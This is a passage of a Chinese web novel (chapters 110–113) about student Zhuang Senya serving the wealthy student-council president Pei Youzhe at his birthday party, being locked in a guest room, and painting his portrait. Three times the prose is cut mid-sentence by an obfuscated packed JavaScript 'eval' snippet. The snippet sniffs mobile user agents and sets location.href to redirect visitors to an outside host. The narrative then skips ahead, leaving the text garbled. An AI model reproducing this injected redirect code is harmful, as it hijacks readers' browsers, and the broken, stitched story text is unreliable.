学生会主席两手空空,像个小领导一样视察每个经过的高档店铺,模样好不潇洒。逛来逛去,完全没有要离开的意思,似乎还在兴头上。 庄森芽跟在他身后,手上拎着两瓶红酒,还有一袋子沉甸甸的手表,感觉自己俨然变成了他家的佣人,被他呼来唤去,又没有薪水拿,可是还不能闹事。 这简直就是酷刑。 她下意识环望四周,也不知道自己在寻找些什么,可能只是希望看到一个身影,哪怕听到两句只有自己可闻的调侃也好,借此分分心,稍微从当下的不幸之中解脱。 可是视野可及的地方,尽是落空。 自从离开上茂哈里森大学的宿舍楼,坐上裴佑哲的车之后,那个人就消失不见了。 没有任何预兆,也不打任何的招呼。 明明之前一直都在,可是留下那番话之后却消失了。 为什么? 她还有许多想问他的问题,被最后那番话语拨动了心弦,可是对方却似乎并不想为此负责。 思及此处,庄森芽莫名觉得有点郁闷。 裴佑哲又带着她在商场里转了几圈,幸好没有再买什么东西,不然真的拿不动了。常年未经锻炼的手臂就是这么脆弱不堪,即便捶胸顿足懊悔不已,也只能接受现实。 把红酒和手表放在车上,车辆启动,徐徐开往裴佑哲的家。 庄森芽从来没去过对方的家里,只知道他大概率会住在气派的别墅区,有庭院,有地下停车场,别墅有两层或者三层高,窗户被擦得很亮,庭院里的绿植朝气蓬勃。 来了之后,她发现自己的想象还是有点贫瘠了。 她原以为他会住在别墅区中的某一个小区的某个别墅里,但没有想到,他家居然直接霸占了一个街区,把人家用来盖三十栋联排别墅的土地全部用来盖一栋独立的大房子,花园比市中心的公园还大。 车辆开在一条笔直的入园大道上,庄森芽盯着两侧的景观,下巴都有些合不拢。 这已经不是什么别墅了,这可以说得上是庄园了吧!? 视野中是修建干净的草坪,一汪清澈的湖水,白色的露营桌椅,还有停在遮阳篷下的一排跑车,在其中,她发现了一个熟悉的影子,是去车展那天裴佑哲开的那辆‘小蓝’。 果然,能开几百万跑车的人,不可能住在什么普普通通的地方。 她要是出生在这样的家庭里,早就躺平了——话说回来,要不是家里经营的公司在财政上出现了问题,她本来也可以躺,但现在反正是不行。 总而言之,但凡她家境阔绰,是绝对不可能像裴佑哲这样还去兢兢业业做什么学生会主席的,在这点上她当真佩服他。 110. 被说家佣命不如被说长得丑^^…… 裴佑哲把车开到了正门口,这是栋白色的现代化别墅,有三层高,几乎每个房间都贴着玻璃外墙,顶层有一个巨大的阳台,而底层的外周则连着一个干净的露天泳池。 这是一种她只在网络上才见过的建筑,印象里只有些名人才会住在这样的地方。 裴佑哲家里到底多有钱啊? 下了车,她跟着走进大门,映入眼帘的是一个巨大的厅堂,尽头是一扇巨大的落地窗,窗外是别墅后面的花园,花园景色极其秀美,即便是在初冬,它依然彰显着勃勃生机,家佣们专门买来御寒的植物,让它们在冬季支撑起这片花园不败的景色。 未在大厅中见到楼梯,而是有一架直上直下的电梯取而代之,连上下攀爬的功夫都免去了,只需享受科技带来的便利。 大厅往右看去,一道墙拦住了视野,一扇双开的大门严丝合缝地闭着,裴佑哲便是往它的方向走去。 他推开了那扇门,顿时,嘈杂的声音传了过来,庄森芽这才意识到,这扇门,包括这堵墙都是隔音的,而且效果显然特别显著。 穿过了这扇门,她这才知道它隔音的用意。 眼前是一个偌大的宴会用地,灰色的墙纸,深色的地板,良好的采光不需要白瓷砖地板来倒映光亮,整个房间的风格是现代风的,但又不因其中的深色装饰而显得压抑。 空间的侧面有一个长条形的桌子,铺着洁白的餐布,桌面上摆放餐盘、玻璃杯、鲜花、蜡烛。而在正中心则有另一个圆形餐桌,上面垒起了小山一样的透明玻璃杯,包装精美的香槟摆放在一旁,静待谁人的开启。 家佣在房间里忙碌着,负责将其装点得更加气派,不放过每个角落里的灰尘,确保每一件东西都应该在它自己的位置上。 裴佑哲带着庄森芽来到了房间的另一侧,这里有一道巨大的玻璃墙,玻璃墙外面就通向刚才在别墅外面见到的露天泳池。 玻璃墙旁边放着一个巨大的原木展示柜,裴佑哲打开了一个开关,其中的侧灯亮起,庄森芽看清了里面的东西,不禁瞳孔地震。 好多手表……蓝的绿的银的哑光的,运动系的时尚系的商务系的……所有她能想到的款式,这里几乎应有尽有。 “把你手里的放在第三层最靠外的位置上,葡萄酒和中央圆桌上的香槟放在一起。”裴佑哲吩咐着。 他说完这些,就没管她了,跑去和正在布置房间的主管交谈,似乎又嘱咐了些什么,模样俨然是这里的男主人一样。 庄森芽不知道这栋别墅是在裴佑哲的名下还是他父母的名下,她十分怀疑他们家不光是有这么一栋别墅而已,它的装修实在是太现代化了,庭院里陈列的跑车看起来也都很时髦,别墅里甚至有专门用来举办宴会的一大片区域,这些都更符合年轻人的品味,而不太契合年长之人的调性。 她按照裴佑哲的吩咐,先是去把沉甸甸的葡萄酒在圆桌上摆好,而后又回到展示柜旁,把新买的手表从包装盒里拆出来。 她看到展示柜第三层空出来了一些位置,想必就是为了填充它们,裴佑哲才特意去商场进了一批新的手表回来。 能在生日宴会上拿出来展示的东西,大抵价格不菲,可刚才他去商店买手表的模样看起来完全是去扫货的,大手一挥信用卡一刷,一点肉疼的表情都没有。就仿佛是家里冰箱贴看起来有点稀疏,所以去网上下单了几个那样随意。 裴佑哲家里到底是做什么的,这么有钱…… 庄森芽已经不知道这是自己第几次冒出这样的想法了。 她十分小心仔细地把新买的手表摆上去,调整它们的位置,好让新来的和老成员们浑然一体。 排列整齐,她大功告成地拍拍手,即便这里的东西和她半毛钱关系也没有,还是心满意足观赏了片刻,而后才关上展示柜的柜门。 “柜子前面那个,你过来一下。”这时候,身后有一个中年女人的声音响起。 庄森芽回过头去,看到一个头戴蕾丝、身着华服的美丽女人,脸看起来保养得很好,但是脖颈和手臂暴露了她的年纪。 中年女人没有看庄森芽,站在圆桌旁边,拿起一个香槟,看着上面的配料表,“你们看过这批香槟的生产日期吗,就这么摆上来?” 庄森芽左右扫视,发现周围没有其他的人影,女人似乎是在对她说话。 对方大抵是误会了什么,可能裴佑哲以前没有提前带宾客前来的先例,所以这个中年女人把她自然而然当成了布置场地的家佣。 她正要解释自己是跟着生日宴的主人公来的,却被女人有点尖锐的声音打断了。 “把这些全都拿下去,找管家换一批新的上来。” “那个……”庄森芽有点气弱地开口,她向来不太擅长应对这么强势的女人,“我不是这里的,我是——” 中年女人投来视线,微微皱起了眉头,上下打量了她一番,仿佛对她一身毛茸茸的雪兔装扮颇有不满,她再度打断了她,“你穿这种衣服怎么干活?” “不是,这个是我……”庄森芽求助似的四下寻找裴佑哲的身影,在房间角落看到了对方,后者正在和另一个男佣对着墙壁研究着什么,神情十分专注,丝毫没有注意到展柜这边发生的情况。 “你看着眼生啊。”中年女人完全没有在意庄森芽说了些什么,自顾地顺着自己的想法来,“新来的?这么年轻。” “我是佑哲带进来的。”她终于一口气把能证明自己的身份的话说出了口。 “哦,这样啊。”女人了然地说,露出有些轻视的神色,“但我不管你是谁招来的,该做事的时候就应该做事,你穿成这个样子是我儿的兴趣也好,是你献殷勤也好,不能耽误干活。” 等下,怎么感觉对方还是误会了什么。 而且……‘我儿’?难道她是裴佑哲的母亲吗? 看模样好像确实有点像…… “夫人,我的意思是,我是佑哲带过来参加宴会的。”庄森芽解释说。 裴佑哲的母亲再度皱眉,神色看起来不太友善,“什么意思?” “我是他的同学。” “同学?”女人的音色拔高了一些,重复着她的话。 “是的,他……”庄森芽想说‘他邀请我来参加生日宴会’,但实际上这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655588|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不是一个邀请,她其实就是来打杂的,说是佣人也不为过,但是明面上不能真的让裴佑哲的家人也这么认为吧,她也是要面子的,做牛做马这种事越少的人知道越好,“他希望我陪同出席宴会。” 中年女人的脸抽搐了一下,神情变得有些怪异,而这一切的起因明显是因为庄森芽的话。 “你跟我儿是什么关系?” 被问到了难以回答的问题,庄森芽有点犹豫。 刚才已经解释过了,他们是同学,但裴佑哲的母亲似乎并不满足于这个回答。 他们还能是什么关系?至高无上的主席和得罪他的小成员?奴隶和奴隶主?上司和雇员?这些说出来好像都怪怪的。 “呃,他是我……” 看到庄森芽支支吾吾的模样,中年女人的脸色更差了,她深吸了一口气,闭目,似乎是在通过这种方式平息身体里的某种情绪。 片刻后,她睁开一双淡然的双眼,目光落在一旁,就仿佛没看到过庄森芽一样,“算了,佑哲正处在只知道看脸的年纪,玩玩也是应该的。身为母亲,理应……” 她念经一样,自说自话地走远了,后面又说了些什么,庄森芽完全没有听见。 这个插曲很快被遗忘,没在心里留下什么痕迹。 她去角落找裴佑哲,问他还有什么需要她做的事情。裴佑哲说暂时没有,叫她找个地方自己待着,宴会开始的时候再来找他。 于是庄森芽就这么被放养了。她在长餐桌上找了个地方坐着,看着人们忙碌着布置现场、准备食材,又开始变得无所事事起来。 好像每次陪同裴佑哲做什么,总会有这么一段无聊的时间,难不成他是在考验她的耐心吗?所以才用如此的空虚折磨她。 百无聊赖地刷着手机,天色也渐渐暗淡了下去。人们把葡萄酒和甜点端上了餐桌,宴会看起来就快要开始了。 裴佑哲离开了一段时间,回来的时候身边跟着一对情侣,看样子宾客已经陆陆续续到来,他刚才是出去迎客了。 随着时间的流逝,越来越多的人来到了这个偌大的场地之中,其中美女如云,每个人都打扮得十分美艳。另外,不只是宾客前来,还有扛着摄像头的摄影师,他们穿梭于场地之中,为每个精彩或刻意的瞬间留下纪念。 开场的时候,一个女人拿着麦克风站在中央圆桌的旁边,那是裴佑哲的母亲,她面容带笑,担起了主持人的职责,发言感谢今日到场的诸位,并希望他们玩得尽兴。 随着她的话语落下,一个男佣推着一辆餐车走了进来,上面放着的是巨大丰盛的多层生日蛋糕。 餐车被推到今日的主人公裴佑哲身前,他拿起有他上半身那么长的切刀,将那可能是刚成型没多久的生日蛋糕一分为二。 这是宴会正式开幕的预兆,人们欢呼起来,主人公又在欢庆声中打开一瓶瓶香槟,往中央圆桌的玻璃杯塔的最顶端开始倒酒,酒水沿着杯壁一层又一层留下流下,就像是醉人的瀑布一样,盈满了所有亟待填满的空盏。 宾客们一个接一个取走了装着香槟的玻璃杯,这便是宴会主人请他们的第一杯酒。 111. 恩将仇报 庄森芽想起来,裴佑哲说过,当宴会开始的时候,要过去找他。 当下,人们自发地聚集成一个个大大小小的圈子,裴佑哲已经不是所有人的焦点。她想应该是时候了,于是就朝那个人的身边走。 圆桌旁,生日宴会的主人公正和几个人攀谈着,其中也包括他那看起来很强势的母亲,周围还有几个看上去有头有脸的商业人士。这个组合让庄森芽不禁心生退意,不敢贸然打扰,只好站在不远的地方等他们交谈结束。 可是这一拨人结束了又是下一拨,作为主角的人显然是永远都不会遭遇冷场的,他要么被一群精英人士包围,要么被他的朋友包围,庄森芽在其中看到了几个有点眼熟的面庞,这些人好像在车展那天也出现过,和裴佑哲有过交集。 终于,漫长的见面仪式结束了,裴佑哲的母亲被另一伙人叫走,裴佑哲一时看起来不再那么繁忙,庄森芽这才敢靠近他。 主角的身上已然带着一股酒味,刚才与人攀谈的时候,他没少往嘴里灌酒,每换一拨人,就有再次陪上一杯的必要。但尽管味道很浓,他看起来也一点都没醉,让人怀疑他杯子里装的究竟是酒,还是酒味的饮料。 裴佑哲看到她来了,用有些低沉的声音问她:“不是让你刚开场的时候就来找我吗。” 听上去带着些责备的意味,但口吻却不像是生气了。 庄森芽条件反射似的连连道歉,“对不起,我看你刚才很忙的样子……” 裴佑哲没有就这点多说些什么,只是让她在接下来的时间都待在他的身边。 庄森芽不理解为什么他这么执着于让她跟着他,心想这可能是出于某种上位者的需要,身边随时都需要一个小跟班,别管这个跟班做不做事,没有是不行的。 她原本以为,这又将是一个无聊的夜晚,就像那天在车展那时一样。然而,当生日宴渐渐热闹起来的时候,这才发觉区别还是很大。 在这里,她可以随便吃甜点,喝果味的饮料,虽然不能自由地走来走去,但是光是站着也不像车展那天那么难耐,因为今天脚下穿的不再是折磨人的高跟鞋。 半场的时候,在临时搭起的舞台上,人们开始给寿星唱生日快乐歌。 唱完了生日快乐歌,舞台的曲目就自由了,喜欢放声唱歌的都跑上去献唱,有些醉了,有些没醉,歌曲的质量参差不齐。 娱乐厅里充满了巨大的噪音,人们开始往外部转移,他们来到巨大的玻璃窗外,坐在露天的泳池旁,在月色之下畅聊品酒。 草地上摆开了一个个供人休息的座椅,不过半晌,上面全都长满了人。 有不怕冷的已经脱掉衣物钻进了泳池里,在里面嬉闹玩耍;有些则在一旁支起炭火,从冷冻室里取来食材,开始不那么健康但快乐的夜间烧烤。 放眼望去,不管是屋内还是屋外,都是年轻人居多,那些业界精英走完了开场的流程、向主人公送上了祝福后,便纷纷离去,吵嚷的室内和寒冷的室外似乎都不是他们钟情的滞留场所。 渐渐地,这场宴会只剩下一堆小伙子小姑娘,他们大多是裴佑哲的朋友,或者父母和他家在生意上有所往来。 气氛变得浮躁又热烈,这是专属于蓬勃生命的夜晚,方圆几里仿佛都能听到他们的欢笑声。 他们享用着似乎喝不完的美酒,吃着在三星餐厅才能吃到的美食,尽情地唱跳歌舞,似乎不打算在黎明到来前睡去。 每个人都在这场宴会中找到了合适自己的位置,家境好的享受着拥戴,美女被帅哥包围,帅哥被美女包围;家境一般的在烂漫中迷醉,为自己跻身上流而暗自激动。 把那些业务上有所往来的各界人士送走之后,裴佑哲的任务轻松了许多,后来来找他的都是同龄的玩伴,他也不用再紧绷着,话语和态度都变得散漫了起来。 他带着庄森芽来到场地的正中,在圆桌上打开了她抱回来的那两瓶红酒,手法熟练地往两只空玻璃盏里倒酒,末了,他又开始往里面兑香槟。 庄森芽皱着眉看他操作,心想这能好喝吗?等下被他敬酒的人可要倒大霉了。 未曾想,他调好了两杯裴氏酒,一个转身,竟然是把其中一杯递给了她。 ……假的吧。盯着那杯酒,她默不作声地想。 “呃,给我喝吗?”庄森芽不太确定地问。 “宴会主人有义务向每一个宾客敬酒。”他是这么说的。 庄森芽感觉对方可能有点醉了,敬酒这种事从一开始就不该有自己的份,她就是来打杂的,哪里算得上是宾客呢。 但裴佑哲似乎执意让她喝下,举起的手臂未曾有半点放下的意图,那杯混杂着红酒和香槟的不明液体依然举在她的面前。 庄森芽吞咽了一口口水,却之不恭,于是接了下来,闭上眼睛,视死如归地喝了那么一口。 ……味道居然还行?就是有点苦。 睁开眼睛,面前的裴佑哲已经将他的那杯一口闷掉了,他擦去嘴唇上液体,盯着庄森芽手里尚且半满的那一杯,眼神似乎有点迷醉,但更多是一种想要盯着她喝完的执着。 都说两种酒精混在一起之后是最醉人的,这一杯下肚她可能就再也清醒不过来了,它虽然味道还不错,但要把它喝完,庄森芽心里还是有点抗拒。 于是拼命思考着借口,再不济用什么话题把这次敬酒岔开也行。 突然,一个想法浮现在脑海。 她低头在自己的挎包里翻找,从中摸到了一个精美的小型礼品袋,她把它拿出来,递给裴佑哲。 对方垂下眼睫,没有第一时间接过来,“这是?” “送你的生日礼物。” 裴佑哲放下了手中的空酒杯,把礼品袋接了过来。 也不知道他哪里学来的习惯,就这么当着送礼者的面开始拆包裹,把一个精致的小盒子从袋子里捏出来,又撕开上面的包装纸,打开礼品盒,里面躺着的是一朵白色的香薰花。 这个过程庄森芽都看在眼里,简直忐忑,她没想到裴佑哲这么直接就开始拆礼物,检视环节突然到来,然而她还没有好做好心理准备。 对方表情上看不出什么异常,把那石膏花拿起来,在手掌上端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不是吧?这什么破门,为什么还能从外面上锁? 而且他还真锁啊?这相当于非法囚禁吧! 听到外面的人离去的脚步声,庄森芽顿时慌了,情急之下,连忙找借口,“这个房间没有厕所!” “右手边。”门外传来裴佑哲渐远的声音,“冰箱里有水和吃的。” 庄森芽扭头去看,发现床头摆着一个透明的冰柜,里面摆着糕点和饮品,而房间一侧的墙壁上的确有一道门,门上有一条透明的玻璃,看起来是卫生间没错。 看起来在这里呆一晚似乎不成什么问题,但这不是可以把她就这么关起来的理由。 “等等,佑哲!”她敲着屋门,为自己的自由声讨,“把门打开,你……你不能直接就这么把我关起来啊!” 可是房门外已经没有声音传来了,四周安静得可怕,甚至连一层宴会厅里欢庆的吵闹都听不见。 112. 富人的怪癖 绝望地敲了半天门,却收不到任何回应。 敲累了,她有些泄气地来到床边上,一屁股坐下,整个人呈大字型仰躺在柔软的床铺上。 怎么会这样……她这是被软禁起来了? 裴佑哲居然做这种事情,口头上对她呼来唤去也就算了,竟然动手限制她的人身自由,这简直越来越过分了。 她是人又不是牲畜,态度恶劣她可以当对方仍怀恨在心,随意地使唤她可以当成是考核的一部分。但是囚禁?这她没办法容忍。 可是,就算没办法容忍,她最多也就是鼓起腮帮子,躺在床上愤愤不平。 现在该怎么做? 门上锁了,打不开。 从窗户翻出去也不太可能,这栋别墅的层高太高,从三层的窗外看出去差不多有四层那么高,翻出去她得掂量掂量自己的身手能不能保住自己的小命。 给警察打电话呢,倒也不至于,暂时还不想翻脸到报警的程度。 向辅导员求助或许有效果,可是这种损毁名誉的事情要是传出去,裴佑哲肯定杀了她的心都有。 就没有什么办法离开这里吗? 要是有人能从外面悄无声息地帮她把门打开就好了,可惜今天来参加生日宴的人她都不认识,有一部分是车展那天见过的赛车手,但她跟人家也不熟,而且没有联系方式。 裴佑哲为什么不邀请大学同学来呢?这样身为他的造型师的费洛一定会到场,她就有求救的对象了。 思来想去的时候,一个人选出现在了她的脑海中。 针对这种场合,有一种能力似乎刚好非常好用。 她心中闪过一丝雀跃,以为自己想到了一个绝妙的解决方案,然而,雀跃的心情没多久就冷却了下去。 庄森芽从床上坐了起来,背部有些微微佝偻,她双手放在自己的大腿上,手心捧着手机,手机屏幕上是和那个人的聊天框,她盯着它,内心在犹豫。 如果这个时候向诺特斯寻求帮助的话,他会来帮忙吗? 她的直觉告诉她,他会,可是理性却在审视着这个想当然的回答。 她又想起今天白天的那些对话,辛格,吟游诗人,候鸟山,被人觊觎的石剑醇,垂垂老矣的莱王星,另一个世界,希腊,身份之谜,见到她的第一眼。 那个男人……说什么甘愿被她杀死之类的话。 他要是真的心甘情愿的话,这些天,这些日子,他都在做什么呢?不是一直纠缠着她、威胁她,试图为自己谋求一条生路吗。 行动和话语是两个极端,简直没有半点统一性,不知道他到底是怎么想的。 一团混乱,可是混乱之中,又似乎又什么在悄然改变。 厘清思绪需要时间,在想明白之前,她觉得自己不知道该用怎样的态度去面对诺特斯。 轻轻叹了一口气,锁上了手机屏幕。 和与诺特斯见面相比,被困在这个小小的卧室里面,好像也不是什么不能接受的事情了。 这一晚在未曾间断的思绪中度过。 第二天睁眼的时候,大脑还在旋转,只感觉一整晚都没有真正地进入过睡眠。 她把这归咎于思虑繁多,但理智也知道,真实的原因可能是她昨天喝了太多带咖啡因的饮料,那才是失眠的罪魁祸首。 阳光打进了窗格,今天是‘一周情侣’的最后一天。 很快,这漫长又磨人的七日考核就要结束了。 不知道今天裴佑哲又会给她怎样的任务,希望别是什么令人头疼的难题。 她在卧室的卫生间里找到了未开封的牙膏和牙刷,这似乎是一间客房,装修很有高档酒店的氛围,一切物什看起来都是崭新的。 她本来还想问问裴佑哲这里的东西能不能随便用,转念一想,是他先不由分说把她关起来的,不占理的人怎么想都是他,而且,她用他点东西又怎么了,住这种豪宅的人不应该计较一支牙刷或者一小块毛巾。 她在干净整洁的卫生间里洗漱了一番,出来的时候,时间是早上九点,虽然昨天折腾到了很晚,但是强大的生物钟还是适时地把人叫醒了。 客房的门依然紧闭着,没有人来给她开门,她想裴佑哲可能是还没醒,于是给他发了条消息,说自己已经醒了,委婉地提醒他是不是也该把房间门打开了。 床头柜上摆着多型号的充电线,她把自己的手机充上电,又从小冰箱里拿了些饮料和零食出来,栽进床里开始玩手机。 不得不说,这个房间待起来真的舒服,如果这里不是裴佑哲的家的话,她在这待上几天都愿意。 就这么抱着快乐水、吃着高热量零食、乐呵呵刷着小狗视频的时候,房门口传来了把手转动的声音。 她顿时一个鲤鱼打挺,把散落在被单上的零食袋子全都抱在怀里,一股脑扔进了床头的垃圾箱。 可不希望被裴佑哲发现她在他家的床上胡吃海喝,虽然自认为这样没什么错。 她从小就在床上吃东西,爸妈最开始也会说她两句,不过自打她会自己洗床单之后就再也不唠叨了,反正自己作死自己收拾呗。 但是,裴佑哲的家教一看就是特别严格的那种,在床上吃零食什么的绝对是不允许的。 已经是考核的最后一天了,她可不想给自己的形象抹黑,以至于留下什么坏印象。 庄森芽板正地坐在床边上,用手掌擦了一下自己的嘴,希望不要有什么油渍在上面大张旗鼓地宣扬刚才的放肆。 门开了,外面的人却是很陌生。 那似乎是家佣或者管家之类的,穿着干净的工作服,脸上挂着恭顺的笑意。 “请下楼用餐吧。” 管他来的是谁,能离开这个伪装成客房的囚禁室,她求之不得。 顺应对方的意思,庄森芽带上手机,跟着走了出去。 目的地在二层,但他们还是夸张地乘坐了别墅内嵌的电梯。 来到了一个餐厅模样的地方,这个房间并不大,看起来不是他家的主餐区,更像是一个舒适的下午茶空间,房间配色以浅绿和白色为主,被上午的阳光一照,看起来十分的温馨。 在一个只能容纳四人的木制圆桌上,中间摆着一束粉色的蔷薇花,花瓣上沾着点点透明的水珠,围绕着它,面包咖啡和鸡蛋躺在不同的盘子里,棕色的热饮尚且冒着腾腾白气。 裴佑哲便静静坐在一把包着白色亚麻布的餐椅上,一身黑色的家居服,上面有不规则的银色条纹,看形状像是一只凤凰。 餐桌紧邻着窗户,此刻,他正侧头看向窗外的景色。 庄森芽站在小餐厅的门口,为她引路的家佣已经悄然离开了,当下只有他们两人共处一堂。 裴佑哲转过头来,他看起来很精神,没有宿醉的萎靡,眼睛下连一点黑眼圈都没有,无时无刻都表现得很完美。这让人觉得他是不是有什么神奇的时间延滞术,别人一天只能过二十四小时,他却拥有四十八小时,所以才能把关于自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他径直走向沙发,坐下去,往沙发背上一靠,“你今天的任务是画一副肖像画。” 庄森芽只觉得自己听错了,这种要求是她从未料想过的,还以为裴佑哲会要求她打扫房间之类的,毕竟昨天生日宴刚过,宴会场地应该凌乱不已,正是需要派人手清理的时候。 “肖像画……?”她有点木讷地重复,“给谁画?” “给我。” 这又是完全没有预料到的展开。 裴佑哲下达了任务之后,也不解释他的动机,起身往其他的房间走,“我去换衣服,绘画的工具在那边都准备好了,给你一个白天的时间完成。” 他说完,身影消失在了客厅角落的一扇门后。 偌大的古典厅堂中,只剩庄森芽有点凌乱地站在最初的位置。 不是……真要画画啊? 这算什么任务,算什么考核,难不成裴佑哲是想考验一下她的画技? 来到房间一侧的红木桌旁,看到准备好的画板和水彩,不禁有点升起退堂鼓。 要是把他画丑了,画黑了,或者把鼻子眼睛画歪了,他会不会生气啊? 他要是发火了,她的考核结果岂不会凶多吉少…… 庄森芽坐在桌前,有点烦躁地抓乱了头发。 到底为什么会是这种任务……她又不是什么名画家,让她来画肖像画,图什么? 图她不要钱,图她能把帅的画成丑的,图她可以任劳任怨三番五次修改而不敢对甲方发脾气? 完全想不明白对方的真实意图,只觉得一头雾水。 113. 坏消息,我不懂水彩;好消息,…… 就在她百思不得其解的时候,裴佑哲回来了。 他换了一身更为华丽的长款礼服,蓝白的配色虽然基础,但百看不厌,头发似乎也打理了一番,变得更加立体整洁,用余光扫去,整个人似乎都在发光。 庄森芽打算给对方打一个预防针,免得最后画完了,他却来秋后算账,“先说好……我不是科班出身的,只会画漫画,肖像画什么的一概不通。” 裴佑哲来到沙发旁边,弯下腰,摆弄着上面几个靠枕的位置,“我也不是很懂,只要画出来的能看出是我就行。” 他在这点上倒是表现得很通融,似乎并不打算为难庄森芽。 “那我只能试着提取你的特征,按照我擅长的方式去画,不然的话会很难看。”她说。 “可以。”他应下来,而后坐在了沙发上,盯着客厅的窗户,留给画师的是一张侧脸。 庄森芽疑惑地盯着他,“不画正面?” “这样就好。” 她是没什么意见,裴佑哲的脸三百六十度都很完美,侧脸的魅力不比正脸差,俊朗的线条很好把握,也不用纠结五官对不对称的问题,她巴不得画侧脸。 拿起削尖的铅笔,笔尾戳着自己的下嘴唇,她打量着模特,目光扫视他的轮廓,将画面在自己的脑海里记下。 而后,她落下第一笔,灰色的脉络在纸张上刻印出清晰的痕迹,从头部开始,到脖颈,再到双肩。 纸张的范围有限,而且这是一张肖像画,就注定了不会将对方的全身纳入其中。 线条到胸口的位置戛然而止,她决定就画到白衬衫掩埋在黑色西服下的那个位置。 勾勒出大概的整体形象之后,她开始细化稿件的细节。 添上五官,勾出发丝,为衣物画出褶皱,到目前为止还算得心应手。 裴佑哲是一个合格的模特,坐在那里几乎一动不动,除了眼睛还在眨,胸膛有些微微的起伏以外,不知道的该以为是哪个展厅里搬来的雕塑。 画到眼部的时候,庄森芽注视着他,笔下渐渐勾勒出对方黑曜石一般有神的双眼。 她往画布上看去,对最终的效果颇为满意。 画面里的裴佑哲看起来很深情,注视着侧方,就仿佛他的恋人在那个方向。 她又抬头看他,这才发觉那份深情不是自己平添上去的,而是模特的眉间本就染着这样的神色。 深情的目光往往都有着别无他物的专注,有暗藏的波光,还有一丝不带杂质的渴求。 不禁有些惊讶,这人盯着空荡荡的墙壁居然也能做出这样的表情。 用铅笔完成了起稿,到了上色的阶段,其实裴佑哲已经没有必要坐在这里了,她已经将并不繁多的颜色记在了脑海里。 但是,庄森芽没有提示对方。 小小的报复心躁动起来,这些天已经被他折磨了这么久,让他多摆一阵姿势又怎么了? 拿起水彩画笔,她把人晾在那里,开始纠结背景色的选择。 将整个壁炉背景画下来她是拒绝的,太复杂了,那些壁纸上的花纹和砖石上的纹路看着就让人脑袋疼。 这幅画适合怎样的背景色呢? 画面里的人已经穿了一身蓝白两色的礼服,再用暗色就有些太压抑了,而且那么沉重的颜色也与他不太相宜,他虽然最近表现得很严肃,但再怎么说也只是个二十岁的大学生。 思来想去,庄森芽想出一个便捷省事又很妥帖的方案。 不如留白吧! 下了这个决定,她很快放弃思考背景的大面积铺色,注意力转移到了人物的色彩上,而这就没什么好纠结了,该是什么颜色就是什么颜色。 她庆幸自己平时画的是彩色漫画,好歹有些上色的功底,就算工具换了,稍微适应一下勉强还是能上手的。 拿出一张练习用的草纸,她适应着笔刷的触感、水彩干涸的速度、晕染的程度,以及着色力度。差不多了,就准备转移到正式的画纸上来。 笔刷沾着湿润的颜料,笔尖距离画纸只有半厘米。 画画这种事情,不能思考太多,思考越多,画出来的东西就越不堪入目。 需要一鼓作气下笔,决不能瞻前顾后,更不能畏畏缩缩。 反正一张画崩了,还有下一次机会。 这么想着,她手腕下压,沾着明黄色颜料的笔尖拂过画纸,留下微湿的痕迹。 平铺大块的色彩,再用笔尖勾勒出细节,使五官的边缘更加凸显出来。用深浅不一的黑色勾勒出眉眼,各处阴影落于纸上,刻画他人神共愤的脸。 平时各类帅哥美女见得不少,网上冲浪的时候就算不想看也会推送到眼前,但裴佑哲这样的还是少见。 从前只是觉得他长得惊为天人,不去用这张脸做点什么都可惜了,然而现在落笔画他,才发觉这人简直是模子里刻出来的,但凡眼角的角度吊高一公分,鼻梁宽半厘米,或者嘴唇再厚一点,他这张脸都不会像现在这么标致和谐。 到底是怎么长的,为什么连一点缺点都没有? 庄森芽大多时间伏案,时不时抬头看看模特,感觉自己能把他一半的帅气画出来就不错了。 待成品出炉,只希望裴佑哲不要打她。 画一副水彩肖像画的时间并不短,历经线稿和最基础的上色之后,时间已经来到了中午。 肚子饿了,模特的身体估计也僵硬了,于是他们中场休息一个小时,打算去吃个饭,回来再继续。 两人来到了吃饭的地方,还是吃早餐的那一个浅绿色的小房间。 圆桌上摆不了多少东西,两人坐得也很近,但裴佑哲似乎没有换位置的意图,直接让人把午餐送到了这里来。 午餐是看起来很普通的家常菜,但香味扑鼻。 让人胃口大开,庄森芽捧着自己的一碗米饭胡吃海喝,连说话都顾不上,心想裴佑哲家当真有一个好厨子,居然道道菜都这么正宗,这么合人胃口。 吃完了饭,去院子里溜达了一圈消食。 整个过程中,两人形影相随,但大多时候是沉默。 庄森芽已经很适应裴佑哲这幅半个字不说的沉默是金的模样,他不说话也好,不然一开口就是要求她去做这个去做那个,把人支使来支使去,她巴不得他继续做一个不会说话的人形移动立柱。 肚子不再那么饱胀之后,他们回到了风格古典的客厅。 裴佑哲依旧在沙发上靠着,还是先前的那个位置,侧过头去,露出令人百看不厌的侧脸。 他并没有去观摩那幅未完的半成品,似乎是不怎么感兴趣,也不知道是对她的画技没什么信心,还是想等画完了再看。 庄森芽回到自己的工作台前,画纸上的水彩已经干得彻底,亟待新的色彩铺盖上去。 “你大概还要多久?”未等开始作画的时候,裴佑哲开口问。 庄森芽估量了一下时间,现在还差头发和衣物没有上色细化,另外最终还需要对整体画面进行调整,时间算下来差不多是…… “三个小时左右吧?” “好。” 他看起来没有什么异议。 